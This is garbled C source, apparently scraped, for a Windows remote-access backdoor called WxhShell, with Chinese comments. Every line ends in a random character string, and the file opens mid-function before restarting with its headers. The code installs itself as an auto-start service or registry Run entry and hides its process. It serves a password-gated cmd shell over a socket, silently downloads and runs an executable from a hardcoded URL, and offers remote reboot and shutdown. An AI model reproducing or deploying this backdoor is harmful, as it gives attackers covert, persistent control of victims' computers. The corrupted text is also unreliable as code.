    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sKB-7  
    else { amk42  
    closesocket(wsh); ,TfI  
    ExitThread(0); {,-5k.P[  
    } < jocfTBk  
    break; .^`a6>EQ)|  
    } ,d [b"]Zy  
  // 获取shell O3w_vm'  
  case 's': { ZTPOD.:#  
    CmdShell(wsh); }Cq9{0by?a  
    closesocket(wsh); :'=~/GR  
    ExitThread(0); Dxa)7dA|  
    break; vA7jZw  
  } A2O_pbQti  
  // 退出 \,cKt_{ u  
  case 'x': { '__3[D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZNH*[[Pf  
    CloseIt(wsh); GT\s!D;<  
    break;  eS@!\H x  
    } m9<[bEO<$  
  // 离开 7s fuju(  
  case 'q': { 9bcyPN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E[Ws} n.  
    closesocket(wsh); fF-\TW  
    WSACleanup(); M?4r5R  
    exit(1); j+B5m:ExfI  
    break; 6q uWO2x  
        } D@b<}J>0'  
  } T~~$=vP9  
  } uI-7 6  
@01D1A  
  // 提示信息 ?D^,K`wY=B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xx<&6 4W  
} uA/.4 b  
  } *ZSp9g"Z  
7%"\DLA  
  return; uSQ>oi]  
} :mtw}H 'F8  
w KMk|y>  
// shell模块句柄 y[5P<:&s  
int CmdShell(SOCKET sock) Ccd7|L1  
{ vyx\N{  
STARTUPINFO si; -x%`Wv@L  
ZeroMemory(&si,sizeof(si)); (R*jt,x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >\oJ&gdc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5iI3u 7Mn1  
PROCESS_INFORMATION ProcessInfo; $Ex 9  
char cmdline[]="cmd"; zf;[nz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ONe!'a0  
  return 0; 674oL,  
} d|?(c~  
>8fz ?A  
// 自身启动模式 L9YwOSb.  
int StartFromService(void) Qx,$)|_  
{ 3(GrDO9^  
typedef struct yjFQk,A  
{ 2:5gMt  
  DWORD ExitStatus; \^(vlcy  
  DWORD PebBaseAddress; 7 KdM>1!  
  DWORD AffinityMask; Q|H cg|  
  DWORD BasePriority; ZO0]+Ko  
  ULONG UniqueProcessId; E+c3KqM  
  ULONG InheritedFromUniqueProcessId; z&vms   
}   PROCESS_BASIC_INFORMATION; Qu>zO!x  
y=qo-v59'  
PROCNTQSIP NtQueryInformationProcess; n]fbV/ x  
]GR q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &@iF!D\u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @SG="L  
8\.1m9&r>o  
  HANDLE             hProcess; \lakT_x  
  PROCESS_BASIC_INFORMATION pbi; &?Z)V-1H  
2GKU9cV*`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =ObtD"  
  if(NULL == hInst ) return 0; ~q|e];tA  
<W%Z_d&Xv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xv%USm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )W6- h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :E&T}RN  
MH8%-UV  
  if (!NtQueryInformationProcess) return 0; hYv 6-5_  
<J }9.k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |QTqa~~B  
  if(!hProcess) return 0; 8EEQV}4  
IS4K$Ac.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W#\};P  
Z#:@M[HH{  
  CloseHandle(hProcess); $H@)hY8wA  
2CgIY89O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6')SJ*|yS  
if(hProcess==NULL) return 0; @>nk^ l  
+U)|&1oa  
HMODULE hMod; bnY8.Lpf|  
char procName[255]; cBF%])!  
unsigned long cbNeeded; FRQ("6(  
jLS]^|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {ro!OuA  
+Y]*>afG  
  CloseHandle(hProcess); *`pBQZn05O  
la{uJ9Iw@}  
if(strstr(procName,"services")) return 1; // 以服务启动 +siNU#!  
uvv-lAbjw  
  return 0; // 注册表启动 [%,=0P}  
} PyxN_agf  
 mFoK76  
// 主模块 -XIvj'u  
int StartWxhshell(LPSTR lpCmdLine) y$9 t!cx  
{ dB/I2uGl>  
  SOCKET wsl; !3 Z|!JY  
BOOL val=TRUE; L\b_,'I  
  int port=0; 8[`<u[Iv  
  struct sockaddr_in door; `[:1!I.}-  
YIUmCx0a  
  if(wscfg.ws_autoins) Install(); &Wz:-G7<n  
+pViHOJu&V  
port=atoi(lpCmdLine); ',s7h"  
P(nHXVSUE  
if(port<=0) port=wscfg.ws_port; 7^ {hn_%;  
#I~dv{RX  
  WSADATA data; PH%gX`N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WM )g(i~(  
7:q-NzE\6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Or) c*.|\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n]c,0N  
  door.sin_family = AF_INET; Wc;D{p?Lb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JU1; /3(  
  door.sin_port = htons(port); #&c;RPac!6  
HFWm}vA:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ns8NaD  
closesocket(wsl); WzbN=& C]h  
return 1; VD`2lGdF  
} /_\W*@ E  
+1fOW4!5  
  if(listen(wsl,2) == INVALID_SOCKET) { tU/NwA"  
closesocket(wsl); rPvX8*) tV  
return 1; ,;pX.Ob U  
} V*uu:  
  Wxhshell(wsl); t U= b~  
  WSACleanup(); }eFUw  
?o5#Ve$-X  
return 0; @@mW+16  
vUx$[/<  
} yzb&   
WREGRy  
// 以NT服务方式启动 (`/i1#nR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z@O e}\.$  
{ 6v)eM=   
DWORD   status = 0; ^F9zS `Yz2  
  DWORD   specificError = 0xfffffff; R*eM 1  
2#}IGZ`Yp/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qA/ 3uA!z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b+apNph  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `^k<.O  
  serviceStatus.dwWin32ExitCode     = 0; MtTHKp   
  serviceStatus.dwServiceSpecificExitCode = 0; T sW6w  
  serviceStatus.dwCheckPoint       = 0; _?LI0iIFx  
  serviceStatus.dwWaitHint       = 0; yZaDNc9'  
IVODR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } U1shG[  
  if (hServiceStatusHandle==0) return; Qh%vh ;|^  
([o:_5/8I  
status = GetLastError(); ]=<@G.[=  
  if (status!=NO_ERROR) vg1s5Y qk  
{ _!1c.[ \T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y+R$pzX  
    serviceStatus.dwCheckPoint       = 0; #N}}8RL  
    serviceStatus.dwWaitHint       = 0; sswAI|6ou  
    serviceStatus.dwWin32ExitCode     = status; 5g7}A`  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2DdLqZY#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cms"OkN  
    return; 8^i,M^f^{  
  } S9055`v5  
)X$n'E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =DwH*U /YR  
  serviceStatus.dwCheckPoint       = 0; Ap18qp  
  serviceStatus.dwWaitHint       = 0; Q_Sq  uuk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UpBYL?+L  
} RVy87_J1  
>&Lu0oHH  
// 处理NT服务事件,比如:启动、停止 iPNs EQ0We  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gipRVd*TA  
{ SYLkC [0 k  
switch(fdwControl) w*@Z-'(j  
{ Z9bPj8d  
case SERVICE_CONTROL_STOP: S]@iS[|?  
  serviceStatus.dwWin32ExitCode = 0; .sMi"gg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~h|L;E"  
  serviceStatus.dwCheckPoint   = 0; B%;+8]  
  serviceStatus.dwWaitHint     = 0; Yr0i9Qow  
  { I65GUX#DV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f\w4F'^tj  
  } -bQvJ`iF  
  return; H}rP{`m  
case SERVICE_CONTROL_PAUSE: NO1]JpR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vbJMgdHFR  
  break; h0}-1kVT^  
case SERVICE_CONTROL_CONTINUE: KJZY.7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _fw'c*j  
  break; lR^Qm|  
case SERVICE_CONTROL_INTERROGATE: 6 VDF@V$E  
  break; 'o9V0#$!  
}; Y :BrAa[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 24l9/v'  
} K*RRbtb  
hUc |Xm  
// 标准应用程序主函数 ?"Q6;np*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lph_cY3p  
{ P~>nlm82]  
EJY:C9W  
// 获取操作系统版本 @Q5^Q'!  
OsIsNt=GetOsVer(); q\Z1-sl~s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i/B"d,=<  
"E#%x{d  
  // 从命令行安装 !OemS 7{  
  if(strpbrk(lpCmdLine,"iI")) Install(); oWOZ0]H1  
Zwl?*t\D  
  // 下载执行文件 Os+ =}  
if(wscfg.ws_downexe) { 1-<Xi-=^{t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qILr+zH  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5J3kQ;5Q?  
} '-{jn+,  
2V 'Tt3  
if(!OsIsNt) { ]B[Qdn  
// 如果时win9x,隐藏进程并且设置为注册表启动 /2I("x]  
HideProc(); EQ-~e   
StartWxhshell(lpCmdLine); ,oe4*b}O=.  
} L}nc'smvM  
else '(*D3ysU  
  if(StartFromService()) a[De  
  // 以服务方式启动 YSmz)YfX9  
  StartServiceCtrlDispatcher(DispatchTable); ](pD<FfS]'  
else -n-X/M  
  // 普通方式启动 E ..[F<5  
  StartWxhshell(lpCmdLine); g`8|jg0]`I  
SNFz#*  
return 0; beoMLHp  
} so?1lG  
}o.ZCACYg  
c:5BQr '  
]T`qPIf;yJ  
=========================================== Z O^ +KE"  
#^Y-*vf2  
O;"%z*g.  
qB`P7!VN^]  
i"@?eq#h  
V;=T~K|)>  
" 5E8P bV-l  
zwS'AN'A  
#include <stdio.h> __[q`  
#include <string.h> M"V@>E\L  
#include <windows.h> >LSA?dy!?  
#include <winsock2.h> 52,a5TVG  
#include <winsvc.h> DTY=k  
#include <urlmon.h> %iNDRLR%I  
|xOOdy6 )~  
#pragma comment (lib, "Ws2_32.lib") HIAd"}^  
#pragma comment (lib, "urlmon.lib") &gfQZxT  
~x+w@4)a>  
#define MAX_USER   100 // 最大客户端连接数 HN! l-z  
#define BUF_SOCK   200 // sock buffer ~ln,Cm} 4  
#define KEY_BUFF   255 // 输入 buffer ebchHnOd  
,58[WZG  
#define REBOOT     0   // 重启 3z<t#  
#define SHUTDOWN   1   // 关机 tuSgh!  
`,O^=HBM  
#define DEF_PORT   5000 // 监听端口 xM,3F jF  
s zg1.&  
#define REG_LEN     16   // 注册表键长度 rO~D{)Nu  
#define SVC_LEN     80   // NT服务名长度 t30V_`eQ  
}e$);A|  
// 从dll定义API HT'dft #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O<*iDd`(e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (;h\)B!o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <LE>WfmC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =9M-N?cV  
QX4I+x~oo\  
// wxhshell配置信息 f$L5=V  
struct WSCFG { sAxn ; `  
  int ws_port;         // 监听端口 LO229`ARr|  
  char ws_passstr[REG_LEN]; // 口令 n3w2&  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;L7<mU  
  char ws_regname[REG_LEN]; // 注册表键名 =}[V69a  
  char ws_svcname[REG_LEN]; // 服务名 |(fWT}tg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >=bO@)[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 li[g =A,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u/AN| y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2iu;7/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <fxYTd<#D[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &uM?DQ`o8  
dxA=gL2  
}; k&2I(2S  
03xQ%"TU<  
// default Wxhshell configuration J=sQ].EK  
struct WSCFG wscfg={DEF_PORT, 4 _ 3\4  
    "xuhuanlingzhe", G2rvi=8=  
    1, <8Ad\MU  
    "Wxhshell", Nuj%8om6  
    "Wxhshell", R[z6 c )  
            "WxhShell Service", l"Css~^  
    "Wrsky Windows CmdShell Service", Vy biuP  
    "Please Input Your Password: ", @ 9uwcM1F  
  1, 0|cQx VJb  
  "http://www.wrsky.com/wxhshell.exe", 83h6>D b  
  "Wxhshell.exe" "^\4xI  
    }; D 6(w}W  
~b+>o  
// 消息定义模块 ~_q\?pw<$L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g7F>o76M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w-1CA{"i7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i^8Zp;O"f  
char *msg_ws_ext="\n\rExit."; 3,GSBiK3}  
char *msg_ws_end="\n\rQuit."; ,^3D"Tky  
char *msg_ws_boot="\n\rReboot..."; s=q}XIWK  
char *msg_ws_poff="\n\rShutdown..."; k3Y>QN|q8  
char *msg_ws_down="\n\rSave to "; -Fb/GZt|  
y ^YrGz.  
char *msg_ws_err="\n\rErr!"; S7V;sR"V2  
char *msg_ws_ok="\n\rOK!"; tY7u\Y;^  
49CMRO,T  
char ExeFile[MAX_PATH]; sx9 N8T3n  
int nUser = 0; jN[Z mJz'  
HANDLE handles[MAX_USER]; nQ mkDPjU  
int OsIsNt; *I~F7Z]|  
e= '3gzz  
SERVICE_STATUS       serviceStatus; a*=e 3nS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]fR 3f  
TGg*(6'z  
// 函数声明 Ws=J)2q  
int Install(void);  Z/64E^  
int Uninstall(void); (T@ov~ @  
int DownloadFile(char *sURL, SOCKET wsh); te1lUQ  
int Boot(int flag); A2B&X}K|U  
void HideProc(void); 8!1o,=I$  
int GetOsVer(void); % R'eV<  
int Wxhshell(SOCKET wsl); 3vy5JTCz~  
void TalkWithClient(void *cs); j"f ]pzg&  
int CmdShell(SOCKET sock); )%Y$F LB  
int StartFromService(void); sg3%n0Ms.W  
int StartWxhshell(LPSTR lpCmdLine); k07O.9>  
S>6APQ-   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xH92=t-w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @x)z" )>  
:`_wy-}V  
// 数据结构和表定义 <)M?qkjb  
SERVICE_TABLE_ENTRY DispatchTable[] = '0[l'Dt'  
{ 7n#0eska,  
{wscfg.ws_svcname, NTServiceMain}, tJ 6:$dh  
{NULL, NULL} PoC24#vS  
}; #0weN%  
I qma vnM#  
// 自我安装 U\51j  
int Install(void) r!(~Y A  
{ ieObo foD  
  char svExeFile[MAX_PATH]; [}FP_Su$6  
  HKEY key; ~!UxmYgO  
  strcpy(svExeFile,ExeFile); \A':}<Rj  
Y*4\K%e(  
// 如果是win9x系统,修改注册表设为自启动 .[~E}O  
if(!OsIsNt) { ^b&aDm~(7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7%aB>uA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :qI myaGQ  
  RegCloseKey(key); 9!o:)99U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  pxP7yJL`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] $5rh8  
  RegCloseKey(key); @%RDw*L(  
  return 0; ~,ac{%8x  
    } %e3lb<sv6  
  } +^`c" qJo  
} 3?2;z+cz*u  
else { Qg3 -%i/@  
<n0-zCf  
// 如果是NT以上系统,安装为系统服务 }Za[<t BWS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3wD6,x-e   
if (schSCManager!=0) ?onZ:s2  
{ T1D7H~ \lG  
  SC_HANDLE schService = CreateService MYLq2g\  
  ( 4/HyO\?z5  
  schSCManager, ww=< =  
  wscfg.ws_svcname, iHTxD1 D+H  
  wscfg.ws_svcdisp, eqXW|,zUm  
  SERVICE_ALL_ACCESS, a "8/y4Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o6'`W2P  
  SERVICE_AUTO_START, GAQVeL1  
  SERVICE_ERROR_NORMAL, ~bg FU  
  svExeFile, R9{6$djq\:  
  NULL, F+9|D  
  NULL, &7}-Xvc  
  NULL, HAP9XC(F]  
  NULL, ^m?h .  
  NULL -Ndd6O[ a5  
  ); { R&F_51)V  
  if (schService!=0) aY6]NpT  
  { V[CS{Hy'  
  CloseServiceHandle(schService); he 9qWL&^G  
  CloseServiceHandle(schSCManager); k4eV*e8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rg+V;C C~  
  strcat(svExeFile,wscfg.ws_svcname); xqLLoSte  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &EZ28k"x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J1g `0XH  
  RegCloseKey(key); 4 uD!-1LT@  
  return 0; Zb3E-'G+  
    } _^Rf*G!  
  } ar R)]gk 7  
  CloseServiceHandle(schSCManager); D{\hPv  
} ASPfzW2  
} v;irk<5  
P 3);R>j  
return 1; km.xy_v  
} v"\Q/5p  
X`[or:cB  
// 自我卸载 k'EP->r  
int Uninstall(void) Z-Zox-I1}-  
{ >|mmJ4T  
  HKEY key; .z)&#2E  
'd'*4 )]k  
if(!OsIsNt) { ga0W;Vq&X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kx*=1AfU+Y  
  RegDeleteValue(key,wscfg.ws_regname); s:,BcVLx^  
  RegCloseKey(key); Y[@$1{YS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m8#+w0p)  
  RegDeleteValue(key,wscfg.ws_regname); mam|aRzd  
  RegCloseKey(key); rC$ckug  
  return 0; `UGHk*DL)  
  }  pb6z)8  
} t d-EB&i\  
} N'3Vt8o,  
else { (hs[B4nV  
L:j;;9Sp{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  E*i <P  
if (schSCManager!=0) ^DM^HSm  
{ #|xK> ;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h{qB\aK  
  if (schService!=0) l '<gkwX  
  { @'jC>BS8`  
  if(DeleteService(schService)!=0) { !Zlvz%X  
  CloseServiceHandle(schService); ;y Wfb|!  
  CloseServiceHandle(schSCManager); ){ArZjG>  
  return 0; [$ vAjP  
  } FlgK:=Fmj  
  CloseServiceHandle(schService);  UcKpid  
  } I~gU3(  
  CloseServiceHandle(schSCManager); ="JLUq*]s  
} !*'uPw:l2  
} Sc`W'q^X  
=T|Z[/fto  
return 1; Tz:mj  
} rq:R6e  
/2tgxm$}  
// 从指定url下载文件 Xq` '^)  
int DownloadFile(char *sURL, SOCKET wsh) cEhwv0f!qS  
{ 2a 3i]e5Kt  
  HRESULT hr; UW8 8JA0  
char seps[]= "/"; mtOCk 5E  
char *token; ;n?H/(6X8>  
char *file; z%<Z#5_N  
char myURL[MAX_PATH]; &J,MJ{w6"  
char myFILE[MAX_PATH]; 2 <y!3OeN  
]KBzuz%  
strcpy(myURL,sURL); (ylpH`  
  token=strtok(myURL,seps); RbM`"wrZ  
  while(token!=NULL) vdyLwBz:  
  { dX^OV$  
    file=token; =I-SQI8  
  token=strtok(NULL,seps);  :RBp  
  } NffZttN  
{|9x*I  
GetCurrentDirectory(MAX_PATH,myFILE); 4en[!*  
strcat(myFILE, "\\"); ]hJ#%1  
strcat(myFILE, file); z GhJ  
  send(wsh,myFILE,strlen(myFILE),0); nB[Aw7^|A  
send(wsh,"...",3,0); 0hp*(, L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j|N;&s`  
  if(hr==S_OK) cNZuwS~,  
return 0; y 4j0nF  
else mQ*:?\@  
return 1; /r^J8B*  
A (S=  
} 7Y"CeU-S  
dj3}Tjt  
// 系统电源模块 _3i.o$GO  
int Boot(int flag) xlg6cO  
{ k z"F4?,  
  HANDLE hToken; s,!+wHv_8  
  TOKEN_PRIVILEGES tkp; ?ey!wcv~  
*G"L]Nq#  
  if(OsIsNt) { tsaf|xe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^rO3B?_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0p YO-@E  
    tkp.PrivilegeCount = 1; 2m7Z:b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |gxT-ZM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qq9fZZb  
if(flag==REBOOT) { ]@wee08  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -rb]<FrL^  
  return 0; EZlcpCS  
} )u)]#z  
else { jq#uBU %  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i"V2=jTeBv  
  return 0; ? BtWM4Id8  
} !Bcd\]q  
  } w 4-E@>%  
  else { f?}~$agc  
if(flag==REBOOT) { ,<!_MNw[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^vw? 4O  
  return 0; V4@ HIM  
} wH&[Tg  
else { ,Wtod|vx\U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n%yMf!M .:  
  return 0; |E/U(VS3l~  
} <!gq9  
} ?nN3K   
$Hh3*reSg-  
return 1; _?$P?  
} Wyh   
a7KP_[_(  
// win9x进程隐藏模块 qw={gZ  
void HideProc(void) P4@<`Eb  
{ hYO UuC  
tu {y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b~uz\%'3  
  if ( hKernel != NULL ) $Pv;>fHu  
  { m/vwM"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \i%h/Ao  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $n>|9(K8  
    FreeLibrary(hKernel); ?|Y/&/;%I  
  }  o0t/  
C QO gR GW  
return; unn2MP'  
} BIyNiol$AJ  
s2s}5b3  
// 获取操作系统版本 j<[+vrj  
int GetOsVer(void) 4|i.b?"  
{ rN* , U\q  
  OSVERSIONINFO winfo; H%2Y8}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aM/sD=}  
  GetVersionEx(&winfo); B^`'2$3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5[NF  
  return 1; nW?DlECo?  
  else T <J%|d .'  
  return 0; XoI,m8A  
} =73""ry  
n u|paA  
// 客户端句柄模块 Ck<g0o6  
int Wxhshell(SOCKET wsl) MW&ww14  
{ O :P%gz4  
  SOCKET wsh; 0NKo)HT  
  struct sockaddr_in client; ma9VI5w  
  DWORD myID; I|@'2z2  
%{'hpT~h  
  while(nUser<MAX_USER) cEzWIS?pp\  
{ N#<h/  
  int nSize=sizeof(client); PW a!7n#A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `72 uf<YQ  
  if(wsh==INVALID_SOCKET) return 1; v}w=I}<x  
~b L^&o(W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *oR`l32O0z  
if(handles[nUser]==0) 7I.7%m,g  
  closesocket(wsh); M`{x*qR  
else z=q   
  nUser++; qgTN %%"~  
  } >9KQWeD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k8]=5C?k  
r2,AZ+4FP  
  return 0; Sg$14B  
} OFS` ?>  
|%6zhkoufM  
// 关闭 socket h ]'VAt  
void CloseIt(SOCKET wsh) mMLxT3Ci8  
{ )./pS~  
closesocket(wsh); &Uqm3z?v  
nUser--; hN% h.;s  
ExitThread(0); D#lx&J.s  
} Nc4e,>$]&  
?FC6NEu}8  
// 客户端请求句柄 TM_ MJp  
void TalkWithClient(void *cs) -.#He  
{ |cZKj|0>  
Id->F0x0  
  SOCKET wsh=(SOCKET)cs; )dFTH?Mpo  
  char pwd[SVC_LEN]; };m.Y>=)K  
  char cmd[KEY_BUFF]; [Tv!Pc  
char chr[1]; 6wV{}K^0  
int i,j; tg%U 2+.q  
Y>eypfK"  
  while (nUser < MAX_USER) { K]q9wR'q  
'MEO?]Tf.^  
if(wscfg.ws_passstr) { ?V|t7^+:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k:D;C3vJd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q!l[^t|;  
  //ZeroMemory(pwd,KEY_BUFF); ==d@0`  
      i=0; G[U'-a}I  
  while(i<SVC_LEN) { Vj.5b0/(  
y~jKytq^@  
  // 设置超时 ((Bu Bu>  
  fd_set FdRead; nx<q]J uv\  
  struct timeval TimeOut;  gB\ a  
  FD_ZERO(&FdRead); [[fhfV+H  
  FD_SET(wsh,&FdRead); K<`"Sr  
  TimeOut.tv_sec=8; |Tz/9t  
  TimeOut.tv_usec=0; FBfyW- 7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (+g!~MP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +*OY%;dQ7@  
4qw&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z1oikg:?4  
  pwd=chr[0]; | ?Js)i  
  if(chr[0]==0xd || chr[0]==0xa) { pq;)l( Hi  
  pwd=0; @C),-TM  
  break; 41swG  
  } J('p'SlI  
  i++; r{m"E^K,  
    } 8e_ITqV%  
wg?:jK  
  // 如果是非法用户,关闭 socket V+A1O k )  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A]nDI:pO|  
} hM*T{|y  
L@rKG~{Xy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aO@zeKg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0-dhGh?.  
oh{!u!L`]  
while(1) { z_XI,u}  
!/0XoIf"  
  ZeroMemory(cmd,KEY_BUFF); G6X  
m9^ ? p  
      // 自动支持客户端 telnet标准    5" U8|  
  j=0; N"~P` H![x  
  while(j<KEY_BUFF) { 7QiJ1P.z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % ~%>3  
  cmd[j]=chr[0]; H9)$ #r6i  
  if(chr[0]==0xa || chr[0]==0xd) { K%h83tm+  
  cmd[j]=0; Q"]C" ?  
  break; )F;[  
  } GiBq1U-Q  
  j++; Z@j$i\,`  
    } E&k{ubcT  
9\W~5J<7  
  // 下载文件 l'N>9~f  
  if(strstr(cmd,"http://")) { UQz8":#V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wL 5p0Xl  
  if(DownloadFile(cmd,wsh)) _96hw8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2{_:B>K[  
  else x9PEYhL?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !F{5"$  
  } [.P~-6~  
  else { Q!>8E4Z  
S<+_yB?  
    switch(cmd[0]) { (JC -4X_  
  Py 8o8*H  
  // 帮助 n }lav  
